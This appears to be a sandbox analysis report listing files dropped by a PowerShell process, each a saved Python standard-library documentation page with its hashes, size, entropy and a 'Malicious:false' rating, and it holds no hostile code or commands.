                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="Queues" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/library/asyncio-queue.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="Source code: Lib/asyncio/queues.py asyncio queues are designed to be similar to classes of the queue module. Although asyncio queues are not thread-safe, they are designed to be used specifically i..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="Source code: Lib/asyncio/queues.py asyncio queues are designed to be
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (854), with CRLF line terminators
                    Category:dropped
                    Size (bytes):33105
                    Entropy (8bit):4.866274606684272
                    Encrypted:false
                    SSDEEP:
                    MD5:7125D849BB8C0B9B2F31F9453C327FFE
                    SHA1:771E7B90E4C44AD93A91371326BA355F4F52C36F
                    SHA-256:F56D7EEDAFDA28D23D297D0A2AB6963C7110D53EADB267B4EDFD8437984D0AF5
                    SHA-512:0FF538883868298A986FA79EE4FABD9065A78059D5537F57FFD34F6AAFE0F91DA0D75F6F809B193A5447DF308CE15B37B87F523555179EB746DB60994B7931DD
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="Runners" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/library/asyncio-runner.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="Source code: Lib/asyncio/runners.py This section outlines high-level asyncio primitives to run asyncio code. They are built on top of an event loop with the aim to simplify async code usage for com..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="Source code: Lib/asyncio/runners.py This section outlines high-lev
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (3239), with CRLF line terminators
                    Category:dropped
                    Size (bytes):79821
                    Entropy (8bit):4.756817069522806
                    Encrypted:false
                    SSDEEP:
                    MD5:0857574022B3716395836E9E15321393
                    SHA1:B214A1D97F6EDA0A43E03069DD812CEB63462045
                    SHA-256:79F1E735DE26776CC8EA2A21A25149BE710AA7BE3FEEB145CCC78B578D738929
                    SHA-512:E48C53C71C331F39C1CA20EF830787230073CC96EEFCC1BC411F851D6DF0AB9ED6408B9A55297F15589BE2A45C80871AF645AA0A2DC7615CB509FBB2CC683921
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="Streams" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/library/asyncio-stream.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="Source code: Lib/asyncio/streams.py Streams are high-level async/await-ready primitives to work with network connections. Streams allow sending and receiving data without using callbacks or low-lev..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="Source code: Lib/asyncio/streams.py Streams are high-level async/a
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (1519), with CRLF line terminators
                    Category:dropped
                    Size (bytes):53878
                    Entropy (8bit):4.83106652754576
                    Encrypted:false
                    SSDEEP:
                    MD5:9C29E20318B77F0F13BA9BFA839D0466
                    SHA1:929E55E2BC28D2B490136A04D37A4C02A4201C2E
                    SHA-256:72527B537BD8E1FC8FF20EDD532DD4CB96BF60F41C951AA8B83521DB88A9C388
                    SHA-512:ACBA7080C57D0210ADD7D001D7C5A8E94226DE2036F55820B8E1F8B1F1AD0172B5965ADF2CB24A198495B95727D255EFC7A3F3BB6CD852827246A96033580588
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="Subprocesses" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/library/asyncio-subprocess.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="Source code: Lib/asyncio/subprocess.py, Lib/asyncio/base_subprocess.py This section describes high-level async/await asyncio APIs to create and manage subprocesses. Here.s an example of how asyncio..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="Source code: Lib/asyncio/subprocess.py, Lib/asyncio/bas
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (639), with CRLF line terminators
                    Category:dropped
                    Size (bytes):59491
                    Entropy (8bit):4.804275519799406
                    Encrypted:false
                    SSDEEP:
                    MD5:2EAD9D0853A8E2049F5349CA23A11CAA
                    SHA1:93F0F4829A30EBF498BCE6FA6D645F567431B7EA
                    SHA-256:EBF0A1765CBA5578E385BEB370BAC46333EA943DBD7CBBBC215D7CD0F51302E3
                    SHA-512:C12BC73E43934960B537F7178446B2625A448C9FC6CBAB89CF6A411E492BDECBB867CD537B2852C60B77317D9CE4CE32EB477256814AF04553BC52BEAB964631
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="Synchronization Primitives" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/library/asyncio-sync.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="Source code: Lib/asyncio/locks.py asyncio synchronization primitives are designed to be similar to those of the threading module with two important caveats: asyncio primitives are not thread-safe, ..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="Source code: Lib/asyncio/locks.py asyncio synchro
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (954), with CRLF line terminators
                    Category:dropped
                    Size (bytes):151274
                    Entropy (8bit):4.794081155157363
                    Encrypted:false
                    SSDEEP:
                    MD5:6AADF97CA0EFD2034B3F9B5B45D6916F
                    SHA1:95041C662EB427870E5A52CA426327FF94EE0221
                    SHA-256:9FAED2805CAB154C89D0EE5E962CB73626057328C4D1210972F93ADBF024D5F7
                    SHA-512:81FC508D95BB59E02B33B3FA0E157C255A00C919E5F792D35473848B50833852FBF2CC64EBD0F8B80E0AAE3794770F3CC86ADDBDAEE7542E598FD698D103F49D
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="Coroutines and Tasks" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/library/asyncio-task.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="This section outlines high-level asyncio APIs to work with coroutines and Tasks. Coroutines, Awaitables, Creating Tasks, Task Cancellation, Task Groups, Sleeping, Running Tasks Concurrently, Eager ..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="This section outlines high-level asyncio APIs to work w
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (373), with CRLF line terminators
                    Category:dropped
                    Size (bytes):21100
                    Entropy (8bit):4.890467367642784
                    Encrypted:false
                    SSDEEP:
                    MD5:D95703456F8655006F6E85EAA23CDDB0
                    SHA1:29922130BAC3247E64B06CE4832230E81EC6D35D
                    SHA-256:73AB34AD154A620951BC3AC312E22E20B46BED1AEA53E5D2933988774646968B
                    SHA-512:AD5748294E7F11AF806B693BD5B7617C66578668740EE1D14C359A8863A8B62BF34065300C4B4DC5FE34951D44D188B08BDA70F02D318196E59B0536344C4DC4
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="asyncio . Asynchronous I/O" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/library/asyncio.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="Hello World!: asyncio is a library to write concurrent code using the async/await syntax. asyncio is used as a foundation for multiple Python asynchronous frameworks that provide high-performance n..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="Hello World!: asyncio is a library to write concurre
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (730), with CRLF line terminators
                    Category:dropped
                    Size (bytes):27858
                    Entropy (8bit):4.835815961594549
                    Encrypted:false
                    SSDEEP:
                    MD5:8C8CA422F3AA96676CF1F2ADB5D45479
                    SHA1:D59C7620D96D630E3091FD1C7648DE11DEDB0E15
                    SHA-256:391862EB411D7A4E8E7B323CB46B551BE150B25F52428C090E9CF72663413196
                    SHA-512:DA16A6AC63992BEDE05459B881138F0BDC432BAAD31F51D9A46D7C5C952EE8833BDFE51FD097DB2D209CB0A8C77B64C6F749D323DB5F1CF5DDB98147C574353A
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="atexit . Exit handlers" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/library/atexit.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="The atexit module defines functions to register and unregister cleanup functions. Functions thus registered are automatically executed upon normal interpreter termination. atexit runs these functio..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="The atexit module defines functions to register and unreg
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (1093), with CRLF line terminators
                    Category:dropped
                    Size (bytes):50117
                    Entropy (8bit):4.785495420049984
                    Encrypted:false
                    SSDEEP:
                    MD5:183E4E66C19FD12DA3921BAA63AF0A4D
                    SHA1:BDCECC7EF039D0C62FA58168389CE86F2545A145
                    SHA-256:61C7B1ADA8CC12D5FE6FF44F223B4964A3D2FCB327B24E0D6F3AF59789221616
                    SHA-512:86857948A23AE0023C06FF5B0FD87D49FF28978687DF944D4BDF8ECB978E36D1DB8E7447B2161D8A3E80967CD92D737305B0384255EBC5BE81C023763ABE68AF
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="audioop . Manipulate raw audio data" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/library/audioop.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="The audioop module contains some useful operations on sound fragments. It operates on sound fragments consisting of signed integer samples 8, 16, 24 or 32 bits wide, stored in bytes-like objects. A..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="The audioop module contains some useful ope
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (781), with CRLF line terminators
                    Category:dropped
                    Size (bytes):79402
                    Entropy (8bit):4.769978344184564
                    Encrypted:false
                    SSDEEP:
                    MD5:D6FA256256A2C3D5C46C58FCB7605E90
                    SHA1:CB4F71BE51DEF7C8EB830AFABA79D271EF0C810B
                    SHA-256:0A6FE67C20726F98A3D797FA0B09F0FABD9363EA06577E472C72B3F4C858F310
                    SHA-512:C0B7547A3FD1B4CD2B7085E42FBBB8C4FD06238C9C548C99F54A13CDE07B35F1A9737CFC2410D136C0EC237E10B8CAAB710B13AD8A66C7BBB2A59A27E48B0470
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="Audit events table" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/library/audit_events.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="This table contains all events raised by sys.audit() or PySys_Audit() calls throughout the CPython runtime and the standard library. These calls were added in 3.8 or later (see PEP 578). See sys.ad..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="This table contains all events raised by sys.audit() or P
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (1244), with CRLF line terminators
                    Category:dropped
                    Size (bytes):52666
                    Entropy (8bit):4.889899753088107
                    Encrypted:false
                    SSDEEP:
                    MD5:A5CBAE4B4187F69E0240CE97EEE490E8
                    SHA1:C2C5D6651BF11E0C085774F1CD75A6655CC5FA08
                    SHA-256:AADC01D1DD2ED5E4FD3F947E09CF280783D9F788C5FE6DF4AF74437BA9BBEEEE
                    SHA-512:BB43A684B12D4CF3CF0A69B43EADBCE8A53950863E274959AD803ABBFF3F125C5511B87956A0E91746F007EE75436654B4598432D8727A8442DEDD41762796C7
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="base64 . Base16, Base32, Base64, Base85 Data Encodings" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/library/base64.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="Source code: Lib/base64.py This module provides functions for encoding binary data to printable ASCII characters and decoding such encodings back to binary data. It provides encoding and decoding f..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="Source code: Lib/base64.p
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (1214), with CRLF line terminators
                    Category:dropped
                    Size (bytes):71060
                    Entropy (8bit):4.835531068180123
                    Encrypted:false
                    SSDEEP:
                    MD5:D8D0263884AEBC4EF1E9BC9115D5D1E5
                    SHA1:824372959580008E7CBC5E9D02AA184DD1FB68D1
                    SHA-256:FC58A033E40FD8A405AB6A6BA14586A59544A42DCD22AE8998A756C92EC3A88F
                    SHA-512:8798A699C653741716BDB72E5A8935AB42EAB30412BD8413A0C7BB890018AE645DECFE1F11A2DC8C1334F72740AEC7F5DC69FF85BA1E762E9664124E51DB5770
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="bdb . Debugger framework" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/library/bdb.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="Source code: Lib/bdb.py The bdb module handles basic debugger functions, like setting breakpoints or managing execution via the debugger. The following exception is defined: The bdb module also def..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="Source code: Lib/bdb.py The bdb module handles basic debug
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (373), with CRLF line terminators
                    Category:dropped
                    Size (bytes):19238
                    Entropy (8bit):4.865247276533485
                    Encrypted:false
                    SSDEEP:
                    MD5:5474F3B09D4E8CD01BE258C9A6B16405
                    SHA1:8398D0E0BA864B7885941417A3FB853CBDA22D1E
                    SHA-256:AD7AC05E889CB11DF77BDDED0443252C4B5148BF05FF4FB51CC57238E4F1316A
                    SHA-512:1F5742C6124DFA8AF455E1D046856E84A6772A4F81BA8ABA495F9EA427EAA0E12F54FADC995FC326069CE1A597ED5573348282CF74C783F7B0EB2DA9ABA43CC1
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="Binary Data Services" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/library/binary.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="The modules described in this chapter provide some basic services operations for manipulation of binary data. Other operations on binary data, specifically in relation to file formats and network p..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="The modules described in this chapter provide some basic serv
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (975), with CRLF line terminators
                    Category:dropped
                    Size (bytes):36845
                    Entropy (8bit):4.905965311273338
                    Encrypted:false
                    SSDEEP:
                    MD5:8AD9EB18ECB7A46F16FA2658CF49F460
                    SHA1:A17E33883FAF9E9F162681C7BCC02D06134C4ACE
                    SHA-256:3A050CA7B44B816A57EF73EFF0273A66B762562C0B20D4A2897CBF2F2D937F67
                    SHA-512:23864931E80B6F4FD1F1699D877495A69131C56C949854EB98FF1CAC3482B0D7ECB91413D753007E833847BE555760D9780EADA4C7560B37B43B825F5F5F9A5C
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="binascii . Convert between binary and ASCII" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/library/binascii.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="The binascii module contains a number of methods to convert between binary and various ASCII-encoded binary representations. Normally, you will not use these functions directly but use wrapper modu..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="The binascii module contains a num
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (1119), with CRLF line terminators
                    Category:dropped
                    Size (bytes):47238
                    Entropy (8bit):4.807704241365421
                    Encrypted:false
                    SSDEEP:
                    MD5:97FD20131B6D6ECBD253D5596C8584A8
                    SHA1:4609F15A61D4F7671EE63EC529275EF162A04B5D
                    SHA-256:1F14CC22A43714EF52A0FD0D3AC4298EADE8E9ED6066B0196C2765A96C581896
                    SHA-512:A8E08B5976D96ACFD0F0A37988FF14E8FAC70F50D38D1EE88F95F3B21A57C606EB9FD82C5281C3526506EDA0BA5D1948496CCB2E675B581CD6B113CBDBCB6CCE
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="bisect . Array bisection algorithm" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/library/bisect.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="Source code: Lib/bisect.py This module provides support for maintaining a list in sorted order without having to sort the list after each insertion. For long lists of items with expensive compariso..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="Source code: Lib/bisect.py This module provid
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (432), with CRLF line terminators
                    Category:dropped
                    Size (bytes):18129
                    Entropy (8bit):4.860949788235933
                    Encrypted:false
                    SSDEEP:
                    MD5:DECC03806E2162D47413A01026BA67C0
                    SHA1:059D9BD3C66B055F38081EBEBD7CD9B5326AE04C
                    SHA-256:6D90FDD8A0106A72422197F9AF76F0956F3A5AED54F6CC8E89C10CB640EB2D78
                    SHA-512:DA21D9EB625CEE18BDBC0CD4CC34934CFB056ED9AC5BEEF261C61512D2CA40821480AF30BE46F2291474919A2D1A4EE8143D5B6E701C8FA146A79AE59C061E60
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="builtins . Built-in objects" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/library/builtins.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="This module provides direct access to all .built-in. identifiers of Python; for example, builtins.open is the full name for the built-in function open(). See Built-in Functions and Built-in Constan..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="This module provides direct access to all .b
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (1357), with CRLF line terminators
                    Category:dropped
                    Size (bytes):57926
                    Entropy (8bit):4.882204691399133
                    Encrypted:false
                    SSDEEP:
                    MD5:1ACA66268F1B1233458DE40CD47B3E7A
                    SHA1:EF976702359D8EB3D1501724E0EBF7F75FE91597
                    SHA-256:E9DA6C8350F2E374209824A42B7B3230F9659555C53861C4BD8099E5B9AD7789
                    SHA-512:9A0D0B97E9885A27D0B98E3F0EEDF0C2B67313B23FE6CC1F6B007D862FB1DD413F25A649F96C997EE03CB6CE6EA170C8911477D9CA477114A9D73B9B18173CBB
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="bz2 . Support for bzip2 compression" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/library/bz2.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="Source code: Lib/bz2.py This module provides a comprehensive interface for compressing and decompressing data using the bzip2 compression algorithm. The bz2 module contains: The open() function and..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="Source code: Lib/bz2.py This module provides a
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (1138), with CRLF line terminators
                    Category:dropped
                    Size (bytes):98151
                    Entropy (8bit):4.839794138968399
                    Encrypted:false
                    SSDEEP:
                    MD5:54FCB9995095A6D3E81F4849E7A0939E
                    SHA1:49321F64338B6798CAAEE6E989988A08B44A7420
                    SHA-256:2B02E0633F401A337AD4A840786B1D3EA22F9AB4586277A308F740840DC37FC9
                    SHA-512:503225DD4C9C532A4CA0736496A8D2BF6602BE4986C284D23153C86A682DE84AA80FF24B5CC61F5413CCC6100C174AA1BFBB4C4A483A5F09E6FBAC9EDDF6A3D1
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="calendar . General calendar-related functions" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/library/calendar.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="Source code: Lib/calendar.py This module allows you to output calendars like the Unix cal program, and provides additional useful functions related to the calendar. By default, these calendars have..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="Source code: Lib/calendar.py Thi
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (1299), with CRLF line terminators
                    Category:dropped
                    Size (bytes):71880
                    Entropy (8bit):4.862522472377268
                    Encrypted:false
                    SSDEEP:
                    MD5:727D4973BAE0A703E0277ADB742380B1
                    SHA1:17DE41E1481FA87AE6A336996FA799E611BFFD26
                    SHA-256:77CC428B9BDEEE2A2D56B6BC04366EE7BE83FEDAFBF59413DD297ED5FB71E546
                    SHA-512:A8B1077952022C6EE22C32B68342E4FB88BD90619BF3C51A4FBCADA882AF5E36C48DDAD7BEFC39936763B5E63722C0B3C4477F5F0E57C15FDB30A55A7120F742
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="cgi . Common Gateway Interface support" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/library/cgi.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="Source code: Lib/cgi.py Support module for Common Gateway Interface (CGI) scripts. This module defines a number of utilities for use by CGI scripts written in Python. The global variable maxlen can..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="Source code: Lib/cgi.py Support module for C
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (1077), with CRLF line terminators
                    Category:dropped
                    Size (bytes):23367
                    Entropy (8bit):4.865770970110955
                    Encrypted:false
                    SSDEEP:
                    MD5:BF1E1433FAA1B1EB80169249BFFA3390
                    SHA1:26ABEEB64A3B59C1C8A91B9CFEAF67FEF3BCE62D
                    SHA-256:9F37D5C218439E5016EE49ED1313D09E3225FE502DB9343164C8ADDAD1BF7669
                    SHA-512:37CF254AFA57B958944DBD519AA60C6B91F4D719393F4A73F1C0B128A33EE9D69920E80B1253DF64136DF6540ACE20950000C74A2DDB09B4E15BA80FA8517A67
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="cgitb . Traceback manager for CGI scripts" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/library/cgitb.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="Source code: Lib/cgitb.py The cgitb module provides a special exception handler for Python scripts. (Its name is a bit misleading. It was originally designed to display extensive traceback informat..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="Source code: Lib/cgitb.py The cgitb mod
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (1049), with CRLF line terminators
                    Category:dropped
                    Size (bytes):25765
                    Entropy (8bit):4.9097030243245285
                    Encrypted:false
                    SSDEEP:
                    MD5:A8DBECF8C05F8CFD8EC70A8BB2BA66EF
                    SHA1:DF477CBCADF1C69ADAAFF123D1200B952DD5F918
                    SHA-256:C27FE5DEDE4431A3D96DAAD7BD4397ED49A08D6D97AE1369ECA19E28674F0B1A
                    SHA-512:CFF3EDF713F73F31E6119ED478AB88C41C99A44F5B69C07AA067BC3F3C2F06B792B59BF40694FA9A527773B2D9286C8D4109B7D661A0F999DCBC84FD45E3C2D3
                    Malicious:false
                    Reputation:unknown
